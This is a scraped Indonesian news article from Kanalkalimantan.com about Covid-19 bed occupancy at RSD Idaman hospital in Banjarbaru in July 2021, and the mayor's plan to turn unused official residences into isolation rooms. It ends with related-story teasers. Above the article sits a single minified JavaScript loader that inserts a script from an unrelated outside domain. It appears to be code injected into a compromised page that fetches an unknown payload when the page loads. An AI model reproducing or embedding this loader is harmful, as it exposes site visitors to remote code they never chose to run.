(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Angka kematian pasien Covid-19 bisa melonjak akibat keterisian Bed Occupancy Rate (BOR) – presentase tingkat penggunaan tempat tidur di rumah sakit yang tinggi.
Menyikapi hal tersebut, Wali Kota Banjarbaru Aditya Mufti Ariffin meminta agar rumah dinas yang tak terpakai untuk dijadikan ruang isolasi pasien Covid-19. Langkah ini dilakukan agar memperkecil tingkat BOR di rumah sakit.
Hal ini juga dapat mempermudah untuk dilakukan patroli satgas agar dapat mengecek keberadaan pasien yang sedang isolasi.
“Ini juga dapat memudah monitoring para patroli satgas untuk mengetahui keberadaan pasien covid-19 yang sedang isolasi di rumah-rumah yang dijadikan tempat untuk isolasi, agar pasien yang sedang isolasi tidak menyebarluaskan penyakitnya dan tetap dalam monitoring satgas,” pungkas Wali Kota Banjarbaru Aditya Mufti Ariffin.
Baca juga: Ruang Isolasi Covid di RSD Idaman Penuh, 5 Pasien Masih di IGD, 1 Pasien WNA China
Sebelumnya, data yang dihimpun Kanalkalimantan pada Minggu (18/7/2021) lalu, menunjukkan tingginya BOR RSD Idaman. Kepala Seksi Pelayanan Medik RSD Idaman, Banjarbaru, dr Siti Ningsih saat dihubungi oleh Kanalkalimantan.com menampilkan data BOR pada laporan RS Rujukan RSD Idaman.
Dilaporkan bahwa saat ini BOR sudah mencapai 80,5 persen sedangkan diketahui batas aman BOR rumah sakit yang ditetapkan oleh WHO (World Health Organization atau Organisasi Kesehatan Dunia) hanya 60 persen.
Itu artinya, sekarang kapasitas keterisian tempat tidur di RSD Idaman Kota Banjarbaru sudah melebihi batas aman.
Per Minggu (18/7/2021) jumlah tempat tidur yang tersedia untuk Covid-19 (ISO dan ICU) sejumlah 77 ranjang, sedangkan yang terisi sudah 56. Persentase BOR-nya sudah 80,5 persen.
Baca juga: UPDATE. Positif Covid-19 Kalsel Bertambah 229 Orang, Tanah Laut Sumbang Terbanyak!
Laporan ini mengalami peningkatan BOR dari hari-hari sebelumnya yaitu 81 persen pada Sabtu (17/7/2021), 75,6 persen pada Jumat (16/7/2021) dan Kamis (15/7/2021), 72,9 persen pada Rabu (14/7/2021), 70,2 persen pada Selasa (13/7/2021), 67,6 persen pada Senin (12/7/2021), dan 55,4 persen pada Minggu (11/7/2021).
Data ini menunjukkan bahwa dalam 7 hari peningkatan keterisian tempat tidur di RSD Idaman meningkat sebanyak 25,1 persen. (kanalkalimantan.com/dewi)
Reporter: dewi
Editor: cell
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More
KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah warga dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar mendatangi… Read More
This website uses cookies.